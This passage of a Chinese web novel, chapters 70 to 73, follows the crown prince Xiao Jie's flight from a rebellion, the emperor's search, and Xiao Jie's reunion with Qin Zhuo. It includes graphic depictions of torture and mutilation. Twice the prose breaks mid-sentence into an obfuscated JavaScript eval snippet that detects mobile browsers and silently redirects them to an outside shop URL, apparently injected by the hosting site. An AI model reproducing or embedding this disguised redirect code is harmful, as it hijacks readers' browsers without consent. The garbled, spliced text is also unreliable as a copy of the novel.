萧玠被拥入屋内,没有较劲出去。他手无缚鸡之力,还要六率分兵翼护,万一被挟作人质更是雪上加霜。如今他最大的贡献,就是保全自身,直到逆贼就地受缚。 阿子守在他身边,倒茶的手哆哆嗦嗦。萧玠按住他,说:“我来。” 他接过茶壶,倒满一盏热茶,递给阿子。 萧玠道:“天冷,吃了暖暖身。” 阿子看来怕极了,也没推脱,接过来吃了。 萧玠握紧他的手,壮胆一样,沉声说:“不要怕,阿子,不要怕。这是潮州,是陛下的地盘。没 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父亲的股肱早已和京中世族勾结,染指军机朝政。 再往下,是要把萧恒架空,还是谋反自立? 萧玠手掌微微发抖,他的视线不由自主被王云楠身后的护卫吸引。他们面无表情,身形精瘦,目光阴冷,如同野兽。 王云楠察觉他的目光,笑道:“我这些门客,只怕与今上师出同门。” 白虎粗重呼吸中,萧玠冷声问:“什么意思?” 王云楠笑道:“殿下应当对‘影子’有所耳闻。世人只道咱们陛下顺天继位,却不知龙椅上坐的,是个杀人如麻的恶贼。如此陛下,又有潮州营如此臣下,可不是君安臣乐,民生如火吗?” “陛下一直教我,休以出身论高低。”萧玠道,“论公我是天子承继,论私我是我父独子,以此挑拨——王郎,你是狠毒,还是愚蠢?” 王云楠一笑,胡须一动:“狠毒也好愚蠢也罢,太子殿下,你在劫难逃了!” 他声音陡然转厉,几乎一瞬之间,王云楠身后七条人影齐齐出手,如闪电如鬼魅,全然是横空扑食的一群野兽! 地动山摇的一声吼叫。 萧玠浑身一竦,突然之间,那头老迈的白虎一跃而起,尾巴如同水火长棍打横一扫,大张血口直接将一人撕成两半。 血雾之中,发出万兽之王的咆哮。 几乎是同时,数把长剑没入昆刀后背,萧玠听到它沉痛的怒吼声。心神俱震间,一把长剑飞掷而来,直刺萧玠面门! 昆刀纵身一跃。 萧玠眼前扑地一红。 剑锋破开白虎后颈,在萧玠面前不到一尺之处截住。 萧玠来不及流泪,一只手捉住阿子,拖着人往屋外跑去。 屋外,太子卫和潮州营战况胶着,胜负未分,一见萧玠人影,两股人马当即扑来。杀他的剑被救他的刀拦下,护他的人被刺他的枪捅穿。混乱之中,阿子松了握他的手,萧玠分神回头寻找,发现已被叛军逼向院子死角。 命当如此吗? 刀光劈落时,萧玠闭上眼睛。 他心中没有怨恨,只有遗憾。 遗憾没有再见到那个人,遗憾没有告诉他,我当年,真的想跟你走。 如果有下辈子…… 萧玠神思被一道马鸣打断。 风声一掀,萧玠感觉被人拦腰抱上马背,那匹快马如同长枪,刺破包围圈飞跃而出。 萧玠睁开眼睛,看到那如同旗帜的雪白鬃毛。 他呼吸一紧,回头看去。在他以为会看到父亲的时候,看到了另一张意料之外的、更年轻的脸。 沈娑婆脸色惨白,环紧的手臂在微微颤抖,但依旧把他护在怀中,不知疲倦地振动缰绳。 70.第 70 章 白马从庙前一勒而止时,夜雨已停。萧玠却感到手背一片濡湿,匆忙一看,竟是沈娑婆右臂割伤,涌出汩汩鲜血。 沈娑婆已然脱力,二人不得不入庙暂歇。萧玠想裂断衣摆替他包扎,但双手抖得厉害,还是沈娑婆自己撕裂衣袖递给他,白着脸笑了笑:“殿下会包扎吗?” 萧玠忙替他解开衣衫赤出手臂,一见那几乎见骨的伤痕,更是说不出一句话。 沈娑婆仍笑:“殿下方才还临危不乱怒批叛逆,怎么现在怕成这个样子?” 萧玠替他包扎,手指都在哆嗦,急得带着哭腔:“你别说话!” 沈娑婆从善如流,闭上尊口。 等萧玠包扎完毕,沈娑婆脸色好转几分。萧玠见香案上有些贡果,虽已干瘪,却还吃得,便拿给沈娑婆。 沈娑婆道:“殿下,擅动贡品,是亵渎神灵。” 萧玠道:“神明有灵,不会同穷途之人计较这个。你吃一口,吃一口我们好赶路。” 沈娑婆没再忸怩,接在手中吃了。齿关咬破那朱红外皮,甘露般清甜鲜血般浓稠的汁水溢满口腔。他望向庙外,一片松柏幽幽,枝叶响动间,似乎随时随地有伏兵突袭而出。 沈娑婆缓缓吐出口气,道:“潮州营兵分数路,除了继续抵御太子卫外,只怕已经有人马在追捕殿下了。” 萧玠思量道:“躲在潮州不是长久之计,离长安又太远……也不能去其他州府,万一他们和程忠兄弟有利益往来,就是羊入虎口……” “这样,殿下还是赶紧南下,去南秦找秦公。”沈娑婆拿起一方帕子擦嘴,道,“秦公收到殿下南下的信,一定在边境派人接应。但凡到了南秦境内,程忠兄弟的手再长也是无计可施!” 萧玠急声道:“好,咱们立刻就走。马留在庙前太过招眼,只怕他们一会就要搜来了!” 沈娑婆突然叫他:“殿下。” 萧玠一愣,沈娑婆已经捏住他后颈,低头吻上来。 这次的亲吻不同以往,异常疯狂,异常凶猛。萧玠心急,要推他,却被沈娑婆紧紧箍在怀里。他急不可耐般,如饥似渴地吞吃萧玠双唇,把萧玠刺激得浑身打战。 唇齿之间似乎涌动一种异样的感情,津液般从萧玠唇边蜿蜒而出,也眼泪般从萧玠眼中奔流而下。这样生死关头荒唐的吻,居然有点生离死别的意味。 渐渐,萧玠头晕脑胀,身体一股水般松软下来。他在沈娑婆嘴唇上尝到一股古怪的药味。 那方手帕。 迷蒙中,沈娑婆捧住他的脸颊抬起头,抬手擦干嘴唇。 …… 萧玠再度醒来,发现自己正藏在香案之下。紧接着,听见十数军靴摩擦而生的脚步声。 有人厉声叫道:“仔仔细细再搜一遍,每个角落都不许放过!活捉太子,程将军奖赏万金!” 香案陈旧的红布垂落,在雨夜中涌动着积年的香灰气味。萧玠喉中发痒,强行屏气,蜷成一团不敢一动。 透过缝隙,他看到一双靴子停在面前,不动了。 然后他听到兵器出鞘的声音。 一寸血气闪动的刀尖探入,就要撩起红布。 突然间,门外传来一声高喝:“都尉,兄弟们来报,前方发现有人骑马向北闯去,看那身形穿戴,正是太子无疑!” “没有眼花,确定是太子?” “潮州境内,还有谁穿白龙白虎的大红袍子?” 那束蛇信一样的刀尖嘶然蹿回,红布震动两下,蓬开潮湿灰白的粉尘。萧玠捂紧口鼻,听那都尉扬声叫道:“弟兄们,当即快马包抄,务必生擒太子!” 一声令下,全部人马当即出动,十数将士奔跑而出后,萧玠听到渐远马蹄声。他不敢掉以轻心,又等了将近一盏茶功夫,才从香案下钻出来,断断续续咳嗽一会,擦掉泪花,这才看向自己身上衣衫。 是沈娑婆的衣裳。 那人吮咬啃噬的亲吻后,是如此冷静决绝的眼睛。 萧玠从地上爬起来,扭头看向香案之后,是一男一女两座彩塑大像。 他和神女宝像对视。薰娘目光慈爱,宛如一座金钟屏障。 *** 四日之内,血染潮州。 潮州营盘踞多年,哪怕崔鲲率左卫支援围剿,依旧鏖战激烈,未分胜负。 程义在战中身死,程忠丢弃州府,选择近山郊外展开野战。程忠到底带兵多年,借助山势张开两翼,又派重甲长戈在前护卫。东宫卫久攻不下,又要搜寻太子踪迹,更要安顿百姓,一时之间左支右绌,竟成腹背受击之势。 重重铁甲铁盾如同鳞片,将程忠拱卫中央。程忠咬牙将残腿又绑一绑,问道:“太子有没有找到?” 都尉摇头,“里里外外都翻了个遍,哪里找到半个影子?” 程忠攥紧他手臂,“王云楠呢?现在还没联系上?” “他当夜叫影子带着呼啸一遍,咱还没留神人就跑了,真他妈跟个影子似的。”都尉道,“将军,影子不是被清剿过了吗?就算有,也该是残兵败将,怎么如今万众一心为王云楠效力?” 程忠扶住马鞍站起来,“他们不是帮王云楠,他们要找的是陛下。” “陛下?” “影子现在群龙无首,所谋就是‘观音手’的解药。”程忠冷笑,“陛下圣寿三十有九,早该投胎十九年了,如今还生龙活虎,他们能不眼红?他们不是帮王云楠,更不是帮我,而是要拿住陛下的把柄,让他把活命的诀窍拱手相让。如今,太子就是关键。” 程忠低声喝道:“拿住太子就是拿住今上的命根子,但凡找到太子,不仅陛下要有所忌惮,影子也会供我们驱遣。传我号令,掘地三尺也要把太子找出来!” 副将看看左右,压低声音:“刚刚前方来报……” “将军!”哨兵狂奔而来,喘着粗气打断,“前方发现大股部队,瞧那规制,像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568359|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是禁军!” 左卫太子卫俱被牵制于此,这个时候,又哪来旁的禁军? 程忠捉住他手臂,沉声问道:“你没有看错?领头的是什么人?” 哨兵今年不过十八岁,只得道:“脸认不得,也没有带旗子,领头人四十余的年纪,很瘦,没穿甲胄,看着不像个当兵的……” “家伙呢,他的家伙是什么?” “是……” 在接下来的三个字即将迸出哨兵唇间之前,有一道更快的飓风破空而来,将血红日光切开一道透明弧线。 那凄厉如哨的风声结束时,哨兵听到喀嚓一声,像西瓜熟透爆裂的声音。紧接着,他察觉脸上一热。 一股血箭从程忠腔中飞射而出。 那双手仍保持着拍扶马鞍的动作,肩膀上只剩下半根如同残桩的脖颈。 程忠的脑袋呢? 哨兵随众人目光望去,见护卫的甲兵如同浪花被层层炸开,程忠骨碌碌的人头正是那投入水中的石块。也就是这时,哨兵才在万骑将军的首级旁找到那道如同死亡讯号的快风的真身。 他还没看清那是什么武器,已听到有人大声叫道:“是陛下……是陛下到了!” 一把钢刀在一名潮州府兵手中颤抖不止,被砰地抛在地上。 随即无数兵器抛落,潮州营几乎一瞬间放弃抵抗,一个接一个纳头跪倒在地,由太子卫刀剑压身。 所有人看到,一匹白马从血色尽头飞驰而出。 马上人嘴唇干裂,疾风吹打得脸部肌肉向后鼓动,紧绷颧骨,凹陷得怕人。 这是继十一年前京乱之后,萧恒第一次全程狂飙。潮州营贪墨的折子递去京都后,萧恒当即率禁卫南下,半途接到第二封加急信,一口黑血呕出,染脏白马鬃毛。 云追上了年纪,萧恒便换马来骑,只用四天便赶入潮州境。四天之内他跑死五匹汗血宝马,只第三日生咽下一块干馕,其余时间粒米未进。夕阳终于在第四次没落之前,迎来如同野兽过境的一万禁卫,和形如骷髅的皇帝萧恒。 内乱尚未完全收束,仍有部分叛军负隅顽抗。一片猩红世界里,叫喊厮杀的人影黢黑如炭,顷刻就能粉身碎骨。 这是萧恒阔别多年的死亡记忆里的潮州城。二十余年前段氏姐弟的马蹄踏碎了水乡烟梦,潮州从繁华的大都市一夕之间变作人间炼狱。 萧恒在噩梦里无数次见到过。萧恒以为现实中再也不会见到。 直至今日。 这次还是铁蹄屠刀,只是持刀之人从死敌寇仇变成血亲骨肉。 他挽住缰绳,从程忠人头旁拔出环首刀。自萧玠出事后,他每晚都用半个时辰重新磨刀,将这段锈钝刀锋重新磨得抛光。 萧恒顾不得其他,厉声喝道:“太子在哪里?!” “陛下!”一个俘兵爬出人群,对萧恒连连叩头,“刚刚从薰娘庙附近找到了一具尸首,他……他穿着殿下的外衣。” 71.第 71 章 那具尸体抬到面前时,萧恒缓缓蹲下来,揭开遮盖的旗子,看到一张血肉模糊的少年的脸。 这手掌不像萧玠,这身量又像极萧玠,到底是不是萧玠? 萧恒伸手去摸这孩子的颅骨,一寸一寸,毫无遗漏。但他十根手指像废了鼻子的猎狗,突然丧失了多年的看家本领。他摸了五遍、八遍、十遍,依旧无法确定这人的身份。他既像萧玠又不像。等摸到第十一遍,萧恒双手已经颤抖得无法继续。 萧恒擦了把脸,将那张旗子彻底掀开。萧玠那身白龙白虎的大红袍服哗地从眼里烧起来。 几乎是一瞬间,萧恒听见众人哭叫惊恐之声。 他们早该见过这具尸首了,现在又怕什么? 萧恒脑子顿了顿,才发觉自己已经倒在地上,呼吸间又一口鲜血吐出来。随之而来的,是他冷静判断的意识:这个孩子是被虐杀的。 红袍碎裂,难以敝体,肋下生生掏了个窟窿,翻出黑黑红红的内脏组织。萧恒不要人扶,几乎是爬到跟前,解开衣袍,袒露出那男孩冰冷的躯体。 锁骨被人穿了……胸骨碎了,心脏、心脏被挖了还是绞烂了……右臂臂骨粉碎……还有…… 萧恒多想叫他一声,但不敢。但凡叫了,这似乎就是萧玠确凿无疑了。他听见一阵野兽般的呼噜声,半天才发觉,那是从自己嘴里发出来的。 原来这就是丧子之痛吗?原来自己当时抱住女儿襁褓的时候,是这样的感觉吗? 时间太久了,那伤疤虽没好,但他差点忘了那疼了。 他两只手掌狠狠搓过脸,继续解那男孩的外裤。裤腰的血还没干透,黏糊糊的。萧恒看到那源泉。他的一双膝盖骨被挖了出来。 萧恒停不下来,他没法停,他迅速剥掉少年的裤子,看到那没一块好肉的双腿。萧恒不敢想象这孩子生前遭受了什么,但刻在骨里的杀手经验让那画面一遍一遍从他脑中播放。他看着萧玠被捆在柱子或者随便一个什么上——不,不用这些,两把凿穿他琵琶骨的铁钩就够了。他们用一把钝刀——是的,锐利的刀锋留不下这样撕扯的伤口——那把刀先撬进他的膝盖骨。 萧恒听见喀嚓碎裂之声时,耳边同时响起萧玠的惨叫之声。好一阵后,他第二次确切地听到自己的哭声。 阿玠……好孩子他的好孩子,他和秦灼就这么一个儿子,被活活剖解像一头牲畜。他最后要怎么凄惨地叫自己叫秦灼,而自己那时候在做什么? 没有人敢上前安抚皇帝,正如没有人不震撼于这撕心裂肺的痛苦之中。他们看到,皇帝伏在那具开始腐烂的少年尸体上,嘴巴却吞咽呕吐物一样把哭声叫声全部吞咽下去。他保持沉默得像保持镇静。但他现在的身体无法经受这样巨大的打击,他一定会垮掉。 在所有人认为萧恒要坍塌之时,萧恒重新把自己支撑起来,褪下那男孩最后一件敝体之物。 寂静。 他死之前,被惨无人道地阉割过。 众人第一反应是去搀扶皇帝。皇帝却纹丝不动。 尉迟松已赶上前来,见此情形,已是热泪滚滚,叫道:“陛下……” 突然之间,皇帝双手握在那少年两条腿间,仔仔细细摸索一遍,当即叫道:“这是旧伤口,早就愈合了……这是个内官不是太子……太子在哪里?!” 全军出动,搜寻太子下落。萧恒瘫坐在地,替那男孩穿好衣物。 这个代他儿子死去的孩子,是他的恩人。但萧恒心里无法不存一丝庆幸——庆幸什么?庆幸不是他的儿子。 看吧,标榜自己大公无私的皇帝,其实是这么自私透顶。 萧恒跪在他面前,连叩三个响头。 萧恒说:“我给你报仇。我带太子来给你磕头。” *** 从这男孩的伤口判断,杀他之人并非潮州营,而是影子。 也就是说,萧玠很可能在他们手上。 萧恒反倒镇定下来,对尉迟松道:“他们会来找我。” 果不其然,两天之后,一支飞箭将信筒射在州府门匾之上。 是王云楠的手书。要见太子,请圣躬亲往萧将军庙,一个人。 当天黄昏,萧恒孤身前往将军庙。 他翻身下马,惊起一片乌鸦乱飞,远上天边如蜂群。 将军庙大门洞开,如同血口,在萧恒跨入之后砰然合拢。庙内香烛未灭,烟气缭绕,幽森冷寂。一座高大铜像立于台上,身材高瘦,面容冷峻,左手把锄,右手提刀。那是更高大年轻的萧恒自己。 香案之前,中年男人转身,露出王云楠死而复生的笑脸。他向萧恒长揖,“陛下驾到,臣礼数不周,万望恕罪。” 萧恒问:“我儿子呢?” 王云楠道:“殿下无恙,虽不比宫中锦衣玉食,到底好吃好喝,衣带不曾宽松一寸。” 萧恒鼻息发沉:“有什么事你冲我,拿孩子算什么本事?” “孩子,陛下将我儿子扣押宫中作为人质的时候,想过孩子?”王云楠笑意阴冷,“东宫春明池摆宴,圣驾甘露殿剿贼——父子一心里应外合,我拿殿下,不过以直报怨。” 萧恒面色未露,呼吸已渐渐沉重。 说话间,已有侍卫上前,向王云楠耳语几句。王云楠半是意料半是意外,笑道:“陛下还真不带一兵一卒就这么来了,太子可真是你的心头肉啊。” 他边说话边往铜像后走去,“臣身为人父,也体谅陛下一片慈父心肠。臣不要陛下的命,更不要太子的命,能不能带走太子,要看陛下的本事。” 萧恒紧跟上前,见王云楠振臂拉开两道杏黄帷帘。这一刻,萧恒听见呜呜挣扎之声。 两个黑衣影子,分别快刀押着两个少年。 一样身量,一样衣裳,一样被黑袋蒙头,难分彼此。 王云楠从壁上摘下一把雕弓,又抽出一支羽箭,递到萧恒面前。 “陛下爱子心切,想必太子所在一望便知。”王云楠笑道,“冒充太子,论罪当诛。陛下将这胆大包天的贼子就地正法后,立即能带太子离开。但如果选错了……” 王云楠笑起来,“那就可怜殿下,有个认不出自己的老子了。” 他说着,看向萧恒腰间环首刀,“而且臣奉劝陛下,最好接受臣的进谏。臣这颗人头若是不保,这两个男孩可要一块陪葬。陛下如今筋骨 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王云楠往后再退两步,退到萧恒的铜像底。这是一个绝佳的观众席,够他欣赏这出父杀子、君杀民、萧恒杀死自己的杰出戏剧的全景。萧恒作为被强行推上台的演员,演绎出他所意想的效果。不,比他想象中还要精彩——那双手终于痉挛了,马上要染上自己儿子的血,怎么可能不抖?还有那双眼睛,对臣下和罪犯永远冰冻三尺如同黑洞,竟也饱含热泪起来。 这一箭射出,他将完完全全实现蜕变,从君父变成魔鬼,从肃帝的残害对象变成新的肃帝。杀死父成为父的循环轮转,质问父权社会的绝妙母题,多么振聋发聩震撼人心!须知世间最美的戏剧当论悲剧,又有什么悲剧能比人伦惨剧更叫人刻骨铭心呢? 萧恒已到——演员就位! 站在他金身的阴影里——走位完毕! 影子开始倒数:三、二…… 准备打板了! 王云楠双眼圆睁,双耳竖指,疯狂安静,等待“一”的口令、箭的射出和戏剧的高潮。但他忘记了最重要的两点: 第一,自己作为戏中一角,并不能完全承担“导演”之职,他的导演身份正是戏剧最妙不可言的一部分。 第二,一幕真正杰出的戏剧,高潮往往伴随反转而来。 在“二”和“一”间隙的一个呼吸声里,萧恒的铜像哗然一闪,庙内庙外,如闪电击落大片乌云。王云楠甚至感觉到那闪电的速度和体温,一股疾风自上而下飞射,将他一把美髯从胸前扬起,宛如出殡所用的雪柳高举天际。胡须纷纷坠落时,一个新的角色以一种从天而降的方式正式登场—— 房梁之上,青光乍闪,一条身影毒蛇捕猎一样下蹿而来。影子甲(为了区分二者,我们暂时如此代称)不得不抬臂格挡,那支青色小刀砰然钉入梁柱之时,对面的环首刀和萧恒的身体一起直冲上前。 乙号当即要抽动刀锋叫手中人质血溅当场,但萧恒的刀已抢先一步没入他的胸膛,血光四溅,像一堵厚墙爆破之时红尘纷扬。 在环首刀脱离萧恒五指的同时,另一边,甲号抡动格挡暗器的手臂向人质后背斩落,人质却被人自后一抱,翻滚在地躲开一击。这时候,甲号看到那位不速之客的真容—— 一个不过十岁的男孩。 72.第 72 章 男孩将手中少年一推,一个鹞子翻身而起。仅从这一个动作,甲号便断定他是做杀手的天才。 他起身的瞬间,右手从靴边一抹,双脚蹬立时一把虎头匕首已拔在掌中。甲号快刀劈砍,男孩也向他对冲而来,像一头蓄势的乳虎,又像一支满彀的飞箭。 刀锋剑刃相切,一串雪亮火花迸溅。甲号劈割斩刺,男孩切挑撩点。男孩衣袍闪动时匕首一横,一道熊熊烈焰般燎伤甲号手臂。扑哧一声,那刀刃也切入男孩后肩。 甲号宛如当代庖丁,从兵器入肉的触感中准确找到男孩的胛骨,往下一砍就能彻底废掉他一条手臂—— 在他转动手腕之际,一把长刀从背后贯入,哧地穿透左胸。 萧恒拔出环首刀时口中一动,响起像狐狸又像夜枭一样尖锐的哨声。半盏茶后,会有一匹老迈白马当先奔跑,带来无数铁甲森森的禁卫军队。 此刻,他干脆利落,拧断王云楠两条手臂将人掼在地上,目光随男孩看去。 罩面的两只麻袋掀开,露出两张脸。 都不是萧玠。 萧恒一把将王云楠从地上拎起,厉声喝道:“太子在哪里……我儿子在哪里?!” 王云楠笑了两声,说:“你儿子,和我儿子在一起。” 他五官因疼痛扭曲起来,倒抽冷气,却仍神秘道:“陛下,你知不知道——你当然不知道,你将我一家老小远贬关外,我儿子道逢土匪,死啦!” 他哈哈大笑:“死啦,都死啦!你害死了我儿子,你的儿子就得做陪葬!咱们君臣一场一块断子绝孙,这才是陛下心心念念的公平公正!” “他没死。” 王云楠一愣,萧恒也转过头,看向那声音的来源,那个冷静的男孩。 男孩转动手臂站起,说:“他如果死了,你会直接送给梁皇帝太子开膛破肚的尸体……不,你会当他的面辱尸。做套杀掉梁皇帝,只是一死而已。” 男孩看向萧恒,黑洞洞的双眼毫无情绪。 “世间还有大过死亡的惩罚。” 王云楠呼吸一紧,笑容有些难以维持。男孩踏步上前,冷漠道:“你已经是个死人了,梁皇帝砍你的头也不能再杀你一次,但我可以。” “我可能找不到太子,但能找到你儿子的坟地。” 王云楠脸部抽搐一下,冷笑道:“凭你?” “我有的是时间。”男孩依旧面无表情。 他个头不够,用那条流血的手臂拧住王云楠衣襟,将他脑袋拉低,耳朵贴在自己嘴边。 “我会把他曝晒三日,喂给野狗。”男孩说,“如果萧玠有任何损伤的话。” 接着,他五指松开王云楠,突然手臂一挥,砸向王云楠后颈。 王云楠从萧恒手中软成烂泥。 一个呼吸间,男孩再次猱身上前,手中匕首嗖然带风,正冲萧恒脖颈! 萧恒闪身一避,目光定在男孩身上,从他的脸到他的手。他手中虎头匕首银光闪闪,腕上光明铜钱金光熠熠。 萧恒断定:“你是南秦少公。” 这四个字从他嘴中说出,极大刺痛了男孩的尊严。他脸上升起一股腾腾的湛青火焰,咬牙切齿道:“你也配叫我!” 他话音一落,身体再度弹射而出。那把虎头匕首刺入萧恒左胸的一瞬,他感到萧恒浑身绷紧。但剑身没入一半,萧恒依旧无动于衷。 秦寄盯着萧恒的脸,突然把匕首一抽,笑道:“我为什么要杀你?要你痛苦,我该杀你儿子。” 匕首带出一串血花,溅在秦寄伤口上,浑融一体,似出一源。他手指转着匕首,再度露出那刻意的孩子般的笑容:“萧玠死了倒好,活着,就是我再做一次王云楠了。不同的是,你敢杀我吗?我是南秦唯一的继承人。” 他可恶地笑起来:“我是秦灼唯一的儿子啊。” 一瞬之间,萧恒面如死灰。秦寄把匕首插回靴子,拔腿要走。 “秦少公!”萧恒沉声叫道,“我这条命给你,不要动太子。我求你……不要动阿玠。” 秦寄盯着他,鼻中出一股气,好笑道:“你跟我谈条件?” 萧恒道:“他是你阿耶……” “你也配提我阿耶!”秦寄勃然大怒,几乎要再插萧恒一剑。但下一刻,他的气焰完全收敛,变成死水一样可怕的冰冷。 他看着萧恒,一字一句道:“他姓萧我们姓秦,他是我阿耶的什么人?还是说梁皇帝陛下,你真的要把那些流言坐实,要我阿耶做一个不男不女的怪物和贱人?” 祠庙一片寂静。 秦寄欣赏萧恒的表情,有那么一瞬间理解王云楠的扭曲。看罪魁祸首痛苦,真的太痛快了。生不如死才是最好的礼物。 为什么要他死呢?他的债还没完,得苟延残喘地慢慢还。 秦寄肩后伤口几乎见骨,他却无知无觉一般,继续笑道:“你最好祈祷萧玠不要落在我手里。” 水火两重的气氛里,一道声音将僵局打破。 被救的一个人质从地上爬起来,是个少年,脸面俊美,眼角红痣艳丽。他喘了口气,道:“二位别急,我知道殿下去了哪里。” *** 大明山暴雨倾盆。 银珠银光抛入金河,溅起无数金花金朵。连绵山势如同虬龙,青黑鳞甲闪动之处,天雷闪电降落人间。 自从得了梁太子南下的消息,各处关隘便由虎贲亲自把守。明山关的城头上,一个虎贲卫披着蓑衣,冲头领喊道:“都尉,这么大雨天进去躲躲吧。梁太子又不傻,听说还是个风吹就倒的病秧子,哪能冒雨跑来,那不是要他命吗?” 雨流顺竹笠而下,模糊难以视物。都尉郎看看火把,焰头一出雨棚就顷刻熄灭,只剩滚滚白烟。 都尉郎道:“也成,叫弟兄们先休整,不必都守在这边,轮换着吃口热乎饭。” 卫兵满口答应,搓手等下去吃热食。今晚炖了肉汤,那香味连大雨都冲不淡,勾得他一副饥肠辘辘作响。肚子咕噜声里,突然传来一声高叫。 从瞭望楼方向,斥候狂奔而来,上气不接下气:“都尉,前方出现一股骑兵,马上要过大明山境!” 都尉当即叫道:“全体都有,引弓备战!到底是什么人马,能看得清吗?” 斥候道:“雨太大了,实在看不清服制……但瞧着像在追什么人。” 都尉登城眺望,卫兵忙将灯笼打过来,模糊看得一支队伍如同长蛇,黑黢黢越过山岭,向边境直冲而来。 一道闪电打落,将漆黑世界照亮一瞬。都尉得以看明,的确有一人策马狂奔在前,马蹄在金河畔骤然止住。 下一刻,那马向前一跃,投入水中! 卫兵已倒抽冷气:“他要渡河?这么大的雨,他不要命了!” 擅越边界者格杀勿论,更别说这样暴雨夜强行渡河。就算他甩开追兵挣得一线生机,叫虎贲卫缉拿仍然难逃一死。 竟能毫无犹豫至此? 过了金河,就算进入南秦境内。在那人投水之后,一众骑兵在岸边止步,纷纷开弓放箭,却不敢以身效仿,往前再踏一步。 此处临近试刀口,地势陡峭,金河汹涌,更别说是雨夜强渡。闪电乍亮乍灭,大雨忽明忽暗,浪花拍击之处足以将人打做齑粉。在都尉以为那人被河水吞没时,哨兵尖声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574436|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫道:“头儿,他上岸了!” 都尉瞪大眼睛,有些不可置信。 果真如此,那马蜷缩着拱上河岸,像一团火焰的灰烬。片刻后,一道马鸣贯穿长夜,那人重新振缰,向城门直冲而来! 追兵已退,他为什么还要上前? 在轰隆轰隆的大雨声后,都尉似乎听到那人的叫喊,立即吩咐:“鸣镝!” 城头当即有一箭飞出,一声锐响划破雨幕,以此警告来者止步。那人马依旧狂奔上前,毫无退步之态。 都尉喝到:“二箭示警!” 这一箭由军中善射者所放,正中马蹄之下,马上人身形一顿时都尉以为他畏之退步,紧接着他跳下马背,飞身跑向城门! 又一队卫兵赶上城头,抱拳叫道:“头儿,他在擂门!” 都尉站回雨棚,把剑拔出来,边道:“三箭预备!听听他在喊什么?” 卫兵侧耳听一会,有些不确信,和同伴面面相觑,“他……” “支吾什么,说!” “像……像是梁太子,都尉,他说他是梁太子!” 都尉大吃一惊,快步走到女墙前。他听到拳头拍打城门的砰砰震动,还有那穿透雨幕的颤声嘶喊: “梁皇太子萧玠,求见南秦大公!” *** 萧玠站在雨里,浑身哆嗦。那匹黑马依在他身边,也瑟瑟发抖。 夜开城门须得君主手令,谁都破不了这个例。 他得等。 但这个时辰,阿耶应当睡了。如果不知道他来怎么办,如果消息被拦在宫外怎么办? 萧玠年幼时就明白,南秦朝堂不欢迎甚至痛恨自己。今夜这样送上门来,先找到他的会是阿耶的亲信,还是朝臣的暗箭? ……或许不用暗箭,再淋一夜,他也没命等到阿耶。 真的有点儿冷了。 萧玠搓了把脸,雨水仍灌满眼眶,如同泪水奔流而下。他睁不开眼睛,将那匹黑马抱在怀里。马后腿跪地,鬃毛纠结,靠在他怀中不住打颤。 如果有人要杀他,能不能放过这匹马?这是他的恩人,无数次救了他的命……别下雨了,马也要受不住了。 萧玠感觉意识有些模糊,雨声渐渐远去,似乎飘向天边。天边传来隆隆之声,应当是雷声,但那雷声好实在,又像城门打开的声音。 还有马蹄声。 萧玠撑住身体擦了把脸,眼前,城门訇然洞开,无数火把高举燃透黑夜。带甲骑队分作两列,从城门里飞驰而出。 是真的,还是幻觉? 萧玠有些不确信,往前挪动脚步。暴雨劈头盖脸砸落,他拂不尽打不开。 在火炬照亮的金黄夜里,一匹黑马直直刺出。一个红衣人跳下马背,冲萧玠跑来。 那人掀下自己身上大氅将萧玠牢牢裹住,边往旁叫道:“伞呢?怎么不给殿下打伞!——血……怎么还有血?受伤了哪里伤了?孩子,好孩子……阿玠你别吓我……阿玠!” 萧玠只愣愣看着他的脸。 是他吗? 十年不见,他还能这么一眼认出自己吗? 不是梦吗? 萧玠感觉脸上一冰,挪动视线,看到一只虎头扳指,正和一只手掌一起停在脸侧。 他在摸自己的脸。 切实的,有温度有触觉的。真的。 萧玠再次把目光投向那张脸,那张他阔别十年、梦想十年、日思夜盼十年的脸。 他老了,但还像当年。 萧玠嘴唇剧烈颤抖起来。 开口之前,他砰一声跪在雨里,抱住秦灼双腿,终于放声大哭。 73.第 73 章 陈子元在光明台来回踱步,步子比雨声还急。他转身问秦华阳:“那边怎么报的,当真是梁太子?太子怎么会这时候一个人跑过来?” 如今更深夜重,秦灼本已歇下,是秦华阳将通传的哨兵领过来。他湿了外衣,正披一件秦灼的袍子,道:“听虎贲的意思,的确是个少年人。何况……阿耶,他有信物。” 陈子元倒吸口气,哨兵奉上那串光明铜钱时秦灼的失态仍在眼前。那是秦灼从小戴到大的东西,决计做不了假。 如今一个少年持此物夜扣城门,只有两个可能。 一,他是萧玠,那萧玠孤身狂奔,必然处身危境,甚至被逼入绝地。 二,他不是萧玠,那此物在他手中,萧玠很可能出了事。 这两个可能不论哪一个,都能让秦灼发疯。 耳边暴雨如鼓,一重掀过一重,心乱如麻间,秦华阳猛然捉住他手臂,叫道:“回来了,舅舅回来了!” 夜至三更,宫门迭开。 虎贲黑压压的队伍前,内侍宫女手打灯笼两旁趋行。一重重伞盖簇拥下,秦灼浑身湿透,用大氅将一个少年人裹在怀里。陈子元忙打伞迎下去,在近至咫尺时看清那少年的脸。 仅这一眼,陈子元就确信,就算在十数人间辨认,他也能立刻找出萧玠。 太像了。 